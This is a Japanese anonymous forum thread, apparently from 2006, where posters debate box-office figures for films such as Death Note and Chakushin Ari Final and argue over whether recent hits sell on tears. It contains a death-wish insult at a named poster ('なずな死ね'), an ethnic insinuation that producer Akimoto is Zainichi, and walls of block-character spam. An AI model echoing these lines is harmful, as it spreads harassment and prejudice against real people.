昨日から「映画はビジネス」といい、どちらかというとTV局の映画を
褒めているのは、広告代理店やTV局が入ることで、シャシンだの活動屋
だの言っているあほを蹴散らしてほしいから。

渡辺典子さんについて語りましょうよ

>>401
別に「反マッチ派」じゃないけど（ｗ
そもそも、その反対は「何派」なの。君は。
「諸星派」？　彼はジャニを辞めたんじゃないの？
「嫌われ松子の一生」で、晩年松子が光GENJIを好きになるんだけど
センターを無視して、端っこにいる人を好きになる設定なのはセンター
の人（諸星？）がジャニを辞めたからでしょ。
見ていて痛々しかったよ。

>>403
角川の３人娘の映画はDVDが高くて、なかなか買えない。
中古でも高い。BOXだったりするから。渡辺典子は最後に出てきた最も
人気のない人だから、さらに入手が難しい（って金があれば簡単なんだ
けどね）。
現在のモーニング娘。みたいなもんで、渡辺典子の存在自体痛々しい。

諸星派ってなによ？？
また新たな派閥を作り出したのね！
あなたの横暴ぶりには呆れるわ
これだから反マッチ派って嫌われるのよ

>>405
典子さんが不憫
謝罪してください

よく「スレ違い」だと言っている自治虫に言いたいんだけどさ。
自分が見た劇場が満員だったの、空いていたの、そういうことを書くスレなの？
それはたまたまあんたが住んでいるところはそうかもしれないし、その時間帯や
曜日はそうかもしれないけど、何の参考になるのかな？　自治虫的にどう思う？
別に大げさな話をするつもりもないけど、「定点観測」なんていう言い方も
以前よく使っていて私に注意されてやめたよね。
定点観測っていうのは、毎週土曜日の午後に、渋谷のパルコ前で写真を撮る
ような行為を言うんだよ。ふらりと出かけた映画館で見た映画を報告して
「定点観測」などおこがましいし、傲慢だと思う。そんな言葉を使うなら
主な封切映画を、初日・初回に同じ映画館で見て報告するくらいしないと。
そんなことできるわけないでしょう。

典子さんは知世さんと同じデビューでしょ
後から出てきたっておかしな話だわ
典子さんは海猿にも出てるのよ？
反マッチ派ってなんにも知らないのよ

>>406
だからさ、君は「何派」なんだよ。それを言いなさい。話が進まない。
>>407
映画史にはかわいそうな存在というのはつきものなんだよ。赤木圭一郎
なんてろくな映画がないまま死んでるよね。
市川雷蔵は、10年ちょいで150本以上の映画に出演して代表作多数だけど
晩年は馬車馬のように働かされ、ガンで若くして死んだ。で所属して
いた大映は２年後に倒産した。どう思う？

>>409
薬師丸ひろ子は、相米という作家主義の典型のような監督の作った
数少ない娯楽作「セーラー服と機関銃」で、スターの地位を確立。
そのすぐ後に、「Wの悲劇」で日本アカデミー賞など女優賞多数獲得。
昨年は「三丁目の夕日」で、助演女優賞をほぼすべて獲得。
若いときにアイドルで、女優として認められ、40代でも成功した女優
なんて、小泉今日子くらいしかいない。
原田知世は「時かけ」でアイドルの地位を確立。この映画は映画史的
にも重要とされて何度も語られてきた。大林監督は多作家だけども
たった１本ならこの映画でしょうね。
で、最近は「さよならCOLOR」のような独特のポジションを獲得。
きれいなお姉さん路線をまい進中。うらやましい。

あら、これから時をかける少女放送するのよ
正座して見るわ！

渡辺典子の映画はCSで数本見たけど、駄作が多すぎる。
彼女に魅力がないこともあるけど、角川映画自体がかげりをさしていた時期の
女優だからね。しかたない面もある。
角川映画といえば、何回も書いたけど、松田優作は日本映画史上最低の大根
役者。彼の映画はスクリーンでかなり見たが（何で見るんだという話もあるが）
とにかくひどい。
最悪は、監督作でもある「ア・ホーマンス」。
映画板で「デビルマン」を最悪映画だと思っている人に、機会を見て是非この
映画を見て感想を聞かせてほしい。世界は広く、自分の見てきたものがいかに
狭い世界だったかを知るだろう。
まさしく映画史上最低の映画の１本だと思う。

阿部和重も中原昌也も原田眞人も絶賛する
Ｍ：�@−�Vは大変気になるが

ヒットしないのだろうか

アニメに関しては一切触れないのが信条なので、「時かけ」アニメ版に
ついても黙っていましょう。

>>414
シネフィル作家（無能9、鬼畜系作家（無能）、原正人と混同される人。
過去には蓮実先生が、全く無名の時期にメル・ギブソンの「マッドマックス」
を年間１位にしたり、三島由紀夫が「明治侠客伝・三代目襲名」を褒め上げ
たり、インテリが褒めるとろくなことがないんだけど。
悔しかったら「バトルロアイアル」を褒めてみろって。
インテリってさ、中島みゆきは褒めてもZARDは無視する。世界の99％の男は
坂井泉水さんを選ぶぞ（ｗ

デスノート70万は１週間みたいよ

>>417
最近の日本映画には珍しい、初動型だと思うよ。
よくできてるけど、泣けないし、続編にナゾを残せなかったのは痛い。

★「if　もしも」なんていっても詮無いけど。

１．「嫌われ松子」が原作テイストの、女の悲劇一代記だったら。
　　たぶん、もっと当たっていたと思う。
　　が、その場合中島哲也は用なしだけどね。
２．「デスノート」が泣ける映画になっていたら、というか「泣き」の
　　要素を加味していたら、もっと当たっていたと思う。
３．「タイヨウのうた」は監督自身、「泣ける映画にはしたくなかった」
　　と語っているけど、おいおい。思い切り泣ける映画にできたでしょ。
　　ねたばれだけども、あっさり死なすのはね。１リットルの涙風に
　　泣いてください的な話にもできたはず。
＊すべて結果論だけど、泣けない映画は「有頂天」などの例外はあるが
　最近まず当たっていないという現実がある。

なずなは即IDあぼん。　　だからこのスレ的にはナズナの文章は、存在しない。

その存在しない文章に語りかける奴も即IDあぼん。　　　これ、このスレの鉄則。


これらを励行することで、なずなとナズナ自演の別働隊を封じることができる。
スレの環境浄化にご協力お願いします。

環境を取り戻すには、皆様の、徹底的かつ継続的な「無視」しかありません。
ご協力をよろしくお願いします。

ナズナのIDと、ナズナにアンカーレスしている奴のIDアボーンの励行をお願いします。

デスノートは泣ける映画にはならないでしょう。
謎はいろんな意味で残っているよ。
原作を知っている人にとってもね。
なぜなら後編で原作の残り全てを網羅するのは無理だと
いうことがはっきりしている。
だとすればラストが違ってくるのか物語を再構成するのか
　誰も知らない展開になる
という謎はますます深くなってる。

2005年邦画実写作品・興収上位より
交渉人　真下正義
NANA
容疑者 室井慎次
電車男
ALWAYS 三丁目の夕日
北の零年
ローレライ
星になった少年 Shining Boy&Little Randy

少なくとも上位３作は泣く映画ではない。
星になった少年は泣ける映画でもいいが
あとは泣ける要素はあるかも知れないが
「泣く」を売り物にはしていないと思うが。

泣けるのばっかりじゃん。
見てないで適当に言うな。

>>381
トムのサイエントロジーなんて１５年以上前からでそ。
アイルランド系だから以前はカトリック教徒だったし。

あとトムの恋愛大はしゃぎはブレイク作「リスキービジネス」（卒業白書）で
知り合って同棲してたレベッカ・デモーネの頃からあんな感じだよ。
映画ファンなら「またやってんのか」ぐらいのもの。

>>422
＞少なくとも上位３作は泣く映画ではない。
＞星になった少年は泣ける映画でもいいが
＞あとは泣ける要素はあるかも知れないが
＞「泣く」を売り物にはしていないと思うが。

同意。

>>423
自分が泣いたからと言って泣くを売りものしてるとは限らない
感動するのは個人の自由だけど、それこそ適当なことを言うな

>>422
＞デスノートは泣ける映画にはならないでしょう。
→「クロスファイア」という同じ監督の映画は、とりあえず「泣ける映画」
　に入ると思うけど、「デスノート」はその要素を見事に排除している。
　そこが洋画的。50億いけなかったのは、そこが致命傷かな。

＞謎はいろんな意味で残っているよ。
→原作を知らない立場で見れば、あれはあれでおしまいって見えるよ。
　ねたばれになるのでこれ以上はやめておくけど、ラストに少し感じるくらい。
　よくかわされる議論だけども、映画は映画で完結しているものだから、
　原作の話と比較してもしょうがないかな。

>>422
好みで言っているのではなく、日本映画が多様化しているとはいうけど
「泣ける映画」以外ほとんどないでしょ。
近年最大のヒット「セカチュー」中心の、純愛ものは当然として、
「三丁目」「大和」「海猿」。
いや、「NANA」だってそう。「北の零年」など他社の映画もそうなって
いる。「有頂天」などは例外的にあるけど、どんなものにでも例外は
ある。

>>425
君の意見はどんなものかな。
作り手はマーケティングをしてるよね。最近は広告代理店を入れてる
から、かなりそこはシビアにやっているはず。
泣けるかどうかは感性の問題で、良し悪しは別。
マーケッターは「泣ける映画」にシフトしていることが見えるよね。
それがわからないなら、主観からしか映画を見えないんじゃない。

デスノート
Ｗ杯開催中にもかかわらず公開１週間で観客動員数７０万人突破と好調な出足http://www.sanspo.com/geino/top/gt200606/gt2006062502.html

事実だとすれば初動が約31万で、平日5日が39万以上？　平日が初動の1.3倍というのは
この手の映画では、ちょっと信じがたい数だ。

>>429
つ「レディスデー」

三人割引でガキが行ったんじゃね？
その場合興行収入は伸びないが…
でも地方がまったく入ってないらしいぞ

ただ、一週間で70万人ということは海猿の半分程度だからやはり30億弱だな
妥当な結果とも言えるがどうか

デスノート　水曜日川崎チネ　半分くらいの入り
トリックと同じくらいだったが・・

トリックはどうなんだろう？今日もテレビでやるけどいい加減ウザい。

>>430
女性の割合が多い映画として有頂天を例にあげると女性：男性は６３：３７
初動と平日の動員比率は１：1.1　興行収益にするとほぼ１：１
女性向けコミック原作映画であるNANAの場合は動員の初動：平日は1:0.99
また、老人向けでもないし、おばさんが見に行く映画とも思えない。

>>431
デスノートは最終２５億ぐらいかな？
前後篇あわせて５０億いけば、ワーナー発表数字１００億の半分ということで
「大本営発表数字の２／１に最終がおさまる法則」に当てはまるし妥当だね。

>>434
藤原竜也の根強い女性人気とか
デスノート自体、腐女子あたりの人気もそこそこあるんじゃないの。
単なるアニメの映画化の域を越えて普通の娯楽作品として受け入れられてるのかもしれない。

>>429
サッカーの影響は考えられる？
先週の日曜夜はクロアチア戦があったため、初動が低く抑えられたとか。
・・・んなわけないかｗ

>>436
二つの点で疑義。

１．藤原竜也の人気
　彼の映画は事実上「BR」２作しかない。どちらも成功したけども、たかが
　知れているともいえる。
　さらにいうなら、あの映画からスターが多数輩出されたことでわけるように
　集団劇の要素も強い。

２．原作ファン以外への広がり
　私がそうだけど原作など手に取ったこともない。普通によくできた娯楽映画
　と思うが、それ以上のカリスマ的なおもしろさは感じなかったね。
　たとえば「NANA」に感じたような。

>>435
２作で50億ならできすぎでしょう。
数年前なら、企画段階で没。
そもそも暗すぎる。笑いがないし、泣きもない。こける要素満点でも
大作として製作できた環境に感謝すべきかも。

>>434
原作ファンとは意見が違うみたいだけど、普通の映画ファンの一人と
して見ると、そんなに複雑な作りの映画ではない。
それに、LOTRのような、画面にはみ出すような莫大な情報量の映画に
ならされた我々にはシンプルな映画に見える。
つまり、二度見たいとまでは思わない。大ヒットした映画には必ず
口コミとリピーターがいるものだが、この映画に関しては前者はまず
期待できない。原作ファンで完結しがち。
じゃあ、後者はどうかというと、これまたコアなファン以外、ちょっと
考えにくい。それでも20億以上いくなら偉いと思う。

なずな死ね

>>436
腐女子に絶大な人気のハガレンの映画で12億だよ

>>327
君は興収スレ初心者か？
映画関係者という名の映画会社が初日マスコミに流す予想は目論見の倍というのは常識だぞ

>>442
ハガレンはアニメでしょうが。
アニメと実写映画は、そもそも客層が異なる。いうまでもなく後者のほうが
年代が上になる。

〈１〉ハウルの動く城　　　　　　　１９６．０
〈２〉劇場版ポケットモンスター　　　４３．０
〈３〉交渉人　真下正義　　　　　　　４２．０
〈４〉ＮＡＮＡ　　　　　　　　　　　４０．３
〈５〉容疑者　室井慎次　　　　　　　３８．３
〈６〉電車男　　　　　　　　　　　　３７．０
〈７〉ＡＬＷＡＹＳ　三丁目の夕日　　３２．３
〈８〉北の零年　　　　　　　　　　　２７．０
〈９〉ローレライ　　　　　　　　　　２４．０
〈１０〉星になった少年　　　　　　　２３．０

→改めて感想を。

>>437
それはあるかも。
今週の週末の下落率が低ければ。

今年前半ですでに東宝は10億以上を10本出したが、実は昨年同期でも
同じく10本だった。
そう聞くと意外に思うかもしれないが、事実そうなのだ。
が、違うのは上記を見るとわかるが、50億を超えた実写映画は皆無。
今年は前半だけで２本はすでに確定している。
後半は予想にすぎないが、３本程度は固いと思う。そこが決定的に
違う。日本映画のメガヒットというのは、数年に１度あるイベント的
なものだったが、今後は一時の米国映画のように、ごく当たり前の
風景になるのかもしれない。
「涙そうそう」が50億と書いてもみな笑うが、どう思う？

>>444
いやいや、ハガレンに言及したのは>>436が腐女子のマーケットを過大評価してるかもしれんので
釘を刺しただけだよ
補足するなら同じく腐女子に人気のテニスの王子様実写は88scrで1億3000万円だ
腐女子向けのゲームの天井値は50000本
DVDは10万本が天井であとは累計を稼ぐ商法だ

>>427
少し話しを整理させてもらう。
>「泣ける映画」主体にどんどんシフトしてきている。
　ごく少数の例外を除けば。

ということでいいんですよね。
泣というのは感情表現のごく一部分に過ぎない。
笑も怒も。。。etc.
あるいは「わくわくする」とか違う系統の表現もあるでしょう。
そして泣の部分を効果的に織り込むことは重要だとは思う。
そしてヒット映画にしても
＞泣ける要素はあるかも知れない
と書いている。全否定はしてないわけだ。

さて、「泣ける映画」という表現は
　　泣の部分がセールスポイントになっているもの
　　　であって
　　泣ける要素もある映画
　　　ではない　と私は思う。

なぜなら、後者ならほとんどの映画が当てはまってしまう。
昔でもそう。最近の特筆傾向でもない。
だからあなたの意図するところは前者でしょう。

　泣きをセールスポイントにする映画にシフトしてきている？
　
やはり、これは疑問である。
しかし泣の要素は必要であることは認めているわけだから
全否定でないことは繰り返しておく。

今公開中で泣き系はどれくらいあるの？
泣き要素を含むのと
明らかに泣き系映画は違うよね。

>>426

こう書いてもネタばれにはならないだろうが
後編の興味としては
　ライトとＬの勝負の行方
　ライトの運命
大きくは２つあると思う。
そのいずれもあなたには予測できている、というなら
確かに謎は残らなかった、でいいんだけど。
多くの人は言い当てることは出来ないと思う。
だから、後編への興味は持ち続けていると思うよ。

>>448
平日動員がこの手の映画としては少し押し上げがある部分の
いくつかの要因の１つとして上げてるだけだから。
>>437が正解かなという気がするけど。

着信アリはコケたの？

>>448
「テニプリ」はそんなに成績が悪かったんだ。
最初からちょっと外しそうな気がしてたんだけども、コアなファンにすら
相手にされなかったのかな。
今度、ジャニの嵐総出演映画があるでしょ。犬童監督の。ああいうのって
興行的には今後もこけ続けるものなのかな。

>>449
＞泣きをセールスポイントにする映画にシフトしてきている

あなたが否定している、この引用部分が私の言いたいことですね。
これは識者が嘆いているが、とにかく劇場で泣く人が多いと。
私がそうだから責められているみたいだけど、泣く行為そのものは
従来から最もカタルシスの高いものとして、演劇でも音楽でも映画でも
あったわけだよね。
が、最近の映画は「泣かせる」ことが中心になっていて、私のような
凡俗は「三丁目」の「赤の他人だろ！に泣き、「NANA」のかっこよさ
に泣き、「海猿」の男気に泣く。作り手がひいてしまうほど泣く観客を
ひいて見ている人は多いけど、ニーズあるところ供給があるのが資本
主義。それはしかたなし。

>>450
＞今公開中で泣き系はどれくらいあるの？

未見も多いが。
「バルト」「初恋」「タイヨウ」「佐賀のがいばあちゃん」「雪に願うこと」
「明日の記憶」「海猿」。
主なものでもこれだけある。

>>451
指摘のあるように、ねたばれになってしまうので、後編に残った
興味に関しては書きにくい。
無難なところでしか書けないのでそれは容赦。
まず、二人の対決だけど、そりゃわからないよ。でも、興味を感じる
ほどなのかな。前半ですでに、Lの手法は見えたし、あれの延長なん
だろうなあと思う。
しいていうなら、もう１冊のノートがどう使われるかと、Last name
が誰なのかかな。しかし、後者に関してはわかりきったことじゃないの？
未見の人に悪いからこれ以上は書きませんが。
後編の引っ張るにはホンが弱いかな。１作としてはよくできた映画と
思うけど、かえって「NANA」のほうが先が知りたくて十年ぶりくらい
にコミック全巻を買ってしまったよ。

女優・柴咲コウ（２４）主演の「着信アリ」（０４年１月公開）は日本で興収
１５億円、ミムラ（２２）主演の「着信アリ２」（０５年２月公開）は１０億
１０００万円を記録した。
韓国では第１作が５０万人、第２作が３８万人を動員した。今作は日韓ともに
前２作を上回る数字が目標。台湾では９月１５日に公開されることが決定し、
香港では秋に公開される。
第１作はハリウッドでのリメークも決まっており、今作からもまだまだ目が離せ
そうにない。
→秋の「オトシモノ」にせよ、人気が下火のホラー映画がいまだに量産される
のは、こういう理由があるからでしょう。
輸出できる実写映画ってホラーくらいしか、今のところないからね。

>>455
なるほどね。
　近年は泣き要素の折込具合が多くなってきている。
　あるいは
　泣き要素の程度は興収に大きな影響を与える
このほうが、あなたの文章からは適切な表現かも知れない。
　泣きをセールスポイントにしてはいないだろう？
という点は依然として平行線だが、これももはやどうでもいい。
　問題は泣き要素の折込度合い、ということならそれでいい。
泣かせることは大切。これも理解する。
しかし、
　これが最近の傾向だ。となるから理解できなくなる。
　昔はそうではなかったんですか？とね。

残念ながら人間は歳もとる。そして感受性も変化していくわけだ。
あなたがどのくらいの年齢かはわからないけど
NANAをもし１０代のときに観ていたなら感想は違っていただろう。
　歳とると涙もろくなる、と一般的にはいわれる
あなたの
　最近の傾向
と仰られることは
　作品の傾向のみならず、人の感受性の変化
というものもかかわっているのかも知れませんよ。


　

>>454
嵐の映画ってどういう興行スタイルで公開するの？

去年もＳＡＢＵ監督でＶ６の１０周年記念映画やってたけど、
一部のシネコンにかかっただけで、配給会社すら不明だった。
ピカンチとかファンタスティポは自社で持ってるグローブ座や会館で流して
後はＤＶＤ発売だったし。

>>458
台湾・香港・韓国といった東アジア圏なら、ホラーに限らずいろいろな日本映画が輸出されてるよ。
香港でクイールが大当たりしたり、韓国だと古くはラブレターがヒットしたり。

９０年代ぐらいから日本のテレビドラマ＆映画の台湾・香港方面への輸出は当たり前。

ホラーに関してはリングの東アジア圏での大ヒットがハリウッドリメイクにつながったので
ハリウッドに権利買ってもらうにはまず東アジアでヒットさせないとってことで
映画会社が力入れてるってＮＨＫでやってた。

>>459
「泣き」の要素が強まっていることは、本当は全体状況を見ないと説明できない
のだが、それだと大変なことになるので、興行成績上位作品で説明します。

1976年（今から30年前）
　続・人間革命 東宝 19.6億円
　犬神家の一族 東宝 15.6億円
　トラック野郎 天下御免 東映 12.8億円
　トラック野郎 望郷一番星 東映 12.3億円
　男はつらいよ 寅次郎純情詩集 松竹 10.9億円
→見ての通り、笑える映画が３本。ミステリが１本。大作映画が１本です。
　「人間革命」が泣ける映画かは、ここでの話題じゃなさそうですね。

では、もう少し時代を近づけてみましょう。

1990年（16年前）
　天と地と 東映 50.5億円
　タスマニア物語 東宝 25.2億円
　ドラえもん のび太とアニマル惑星 東宝 19.1億円
　稲村ジェーン 東宝 18.3億円
　男はつらいよ ぼくの伯父さん（同時上映 釣りバカ日誌２） 松竹 14.1億円
→上位２作品は「泣ける」要素が強い映画なのかもしれないが、見た
　感じ、それが中心とは思えないでしょうね。

2005年（昨年）
　ハウルの動く城 東宝 196.0億円
　劇場版ポケットモンスター アドバンスジェネレーション ミュウと波導の勇者 ルカリオ 東宝 43.0億円
　交渉人 真下正義 東宝 42.0億円
　NANA 東宝 40.3億円
　容疑者 室井慎次 東宝 38.3億円
→なんでこんなに時代が飛ぶかというと、ほとんどの年が上位をアニメ
　が占めていて、説明できないんですよ。日本映画暗黒時代なので。
　で、昨年ですけど見ての通り、泣かせたい映画が目につきますね。
　偶然とは思えないでしょう。本当は10位まで挙げるとさらにその
　印象が強まるんだけど、ほかの年まで挙げるとアニメだらけになるので。

>>460
ジャニーズで東京ドームを満員にできるのは、カツン、SMAP、KINIKI
だけ。みな、雑誌の表紙を飾っているので、知らない人は皆人気者と
誤解しがちだけど、実はこの３組でもっているのがジャニーズ事務所。
だから、V6とか嵐とかTOKIOなどで映画を作っても、何せドームを
満員にできないんですから、10億なんていくわけないですよね。
映画ってそう考えると大変な娯楽なんですよ。

>>462
>笑える映画が３本
は
　セールスポイントとしては泣きを前面に押し出してはいない
というだけのことであって
　泣いて笑って
という
　泣の要素も笑の要素もどちらもある
あなたの言われる近年の映画の構図と同じだと思うんだけど。
寅さんで涙する人がいたって、全くもって不思議ではありません。
人情劇としての狙いでしょう。泣笑、どちらも有りというのは。

>>463
>上位２作品は「泣ける」要素が強い映画なのかもしれないが、見た
　感じ、それが中心とは思えないでしょうね。

そうそう、そのとおりです。そしてそれはあなたの文面にもあった
　「海猿２？」「NANA」「３丁目の・・」
これらも同様なのではないでしょうか？

つまり、今も昔も泣かせる要素が大切なことには変わりない
ってことです。　

>>466
　交渉人 真下正義 東宝 42.0億円
　NANA 東宝 40.3億円
　容疑者 室井慎次 東宝 38.3億円

これらは泣かせメインではないですよ。
425さんも書いてくれたとおりです。
　泣きポイントはある　ということだけで
これらを泣き映画に認定してしまったら
ほとんどはそうなってしまう。
それはもはや、分類したことにはならないですよ。

大高： 　邦洋の対比はどうですか。

掛尾： 　2004年は37対63で、今年は41対59ですね。

→私はこれまで、あと３年以内に邦洋は逆転すると言ってきたけども、
　その根拠は、100億を超えるような作品が洋画には毎年あるから、
　さらに差はいまだにかなりあるから、だった。
　しかし、今年の勢いだと、まさかの今年で逆転？

泣き要素は興行で大事ってことでいいじゃん。
泣きに過剰反応しすぎ。
きっとセカチューとかタイヨウ見ても、なけなかったと「自慢」するタイプでしょ。

>>465
＞事務所はこの３組で持っている

トキオはバラエティーやＣＭや司会にすごいでてるけど
あんまり稼いでないの？

>>470
地方番組の芸能界裏話では国分のピンの単価が上がってきてるそうだ
サッカー関連の仕事で
明石家さんまが1000万円なら国分が500万円香取が800万円だと

稼いでるよ。映画や歌といったものでは微妙。
広告は半端でないよ。

>>469
>きっとセカチューとかタイヨウ見ても、なけなかったと「自慢」するタイプでしょ。

　なぜ自慢しなけりゃならないわけ？それは自慢に値することなのか？

正直、泣けるというセールストークの割には泣けないよ。
セカチューは駄作だと思うし感動もなかったが
タイヨウは佳作だと思うし良かったと思うよ。
タイヨウは主人公を応援する気持ちを強く持たせる映画だ。
泣というのとは少し違った感想を持ったよ。

>>469
自慢ということとは違うが
例えば４５５さんは
三丁目、NANA、海猿を挙げておられる。
くどいようだが、泣メインアピール映画ではないけれど。
４５５さんは「セカチュー」「タイヨウ」でも同様に泣けたかはわからないが
　泣きがセールスポイントとされ
　事実、宣伝もそれを強力に押し出しているもの
よりも泣けたものがあったということが大事なんじゃないかと思う。

それらの中に感動を見出し泣けた。
それらは４５５さんの大きな財産でしょう。
それが必ずしも「泣がセールスポイントではない映画」
で起きるってことです。
私にもそういう経験は多くありますがね。
　つまり　
　泣ける泣けるっていやというほど宣伝しておきながら
実は他作品のほうが泣けた、となればそれは
　泣き過剰宣伝
に対し結果的にはしっぺ返ししていることになりますかね。
しかし、それは自慢ってこととは全く違いますね。

日韓同時公開「着信アリＦｉｎａｌ」、初「日」好「韓」触
http://headlines.yahoo.co.jp/hl?a=20060625-00000062-sph-ent
　この日、日本では全国２４７スクリーンで封切られ、多くのファンが劇場に足を運んだ。
一足早く２２日に公開された韓国でも絶好調。初日だけで３万人を動員。
韓国映画「ミン・ストリート」、米映画「Ｘ−Ｍｅｎ３」、韓国映画「強敵」に続く第４位の数字となった。

女優・柴咲コウ（２４）主演の「着信アリ」（０４年１月公開）は日本で興収１５億円、
ミムラ（２２）主演の「着信アリ２」（０５年２月公開）は１０億１０００万円を記録した。
韓国では第１作が５０万人、第２作が３８万人を動員した。今作は日韓ともに、前２作を上回る数字が目標。
台湾では９月１５日に公開されることが決定し、香港では秋に公開される。



着信は見込み数字の発表が無いな。

>>475
着信アリ一作目は韓国公開されたのだろうか？？
実はこれ、いきなりFinalだけ観ても意味がわからないところもある。
まあ、これは興収スレであって
満足度スレではないが
韓国でも観たからには満足して欲しいのだが。。。
果たしてどうだろうか？・・

つまらんレスが続いてるな

着信アリは、一位確実でしょ。

タイヨウがコケぽなのはわかった。

着信コケてるよ。好スタートなんて嘘

４位くらいじゃないかって予想が多いね

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

着信の秋元って在日？

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

>>484
なぜ？
知らんけど

>>428
結果泣いたとしても泣かせるを目的にしてないと言うことね

>>488
なぜって、
ほんとかどうか知らんけど噂で昔からそういう話しってて、
その上で前にも韓国との商売してた記憶があって、
今度の着信の内容。韓国での上映とかもあるんだろうけど。

どうでもいい話だな
堤幸彦が稼いでるのを見て
ちょっと手を出したくなったのだろう
秋元につき合わせられる人たちは可愛そうだ

秋元が韓国でビジネス、着信アリが韓国で撮影・上映したら在日かｗ
ここ板住人のほとんどは、そんなこと興味ないから余所で聞いたら？

■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
